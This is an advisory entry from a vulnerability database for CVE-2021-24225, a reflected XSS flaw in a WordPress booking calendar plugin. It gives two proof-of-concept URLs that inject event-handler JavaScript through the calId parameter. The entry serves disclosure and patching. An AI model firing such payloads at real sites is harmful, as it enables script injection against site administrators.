Lucene search
IohexWPEX-ID:25CA8AF5-AB48-4E6D-B2EF-FC291742F1D5HistoryMar 28, 2021 - 12:00 a.m.
Advanced Booking Calendar < 1.6.7 - Authenticated Reflected Cross-Site Scripting (XSS)
2021-03-2800:00:00
iohex
324
0.001 Low
EPSS
Percentile
21.4%
The plugin did not sanitise the calId GET parameter in the “Seasons & Calendars” page before outputing it in an A tag, leading to a reflected XSS issue
Payloads:
- Original reporter: /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=calNotDeleted&calId=aaaaaaaa%22+onclick%3Dalert%28123%29%3B%2F%2F
- WPScanTeam: /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=calNotDeleted&calId=a%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2FXSS%2F%29+b%3D%22
Related
wpvulndb
wpvulndb
cve
cve
CVE-2021-24225
2021-04-12 14:15:15
nvd
nvd
CVE-2021-24225
2021-04-12 14:15:15
prion
prion
Cross site scripting
2021-04-12 14:15:00
cvelist
cvelist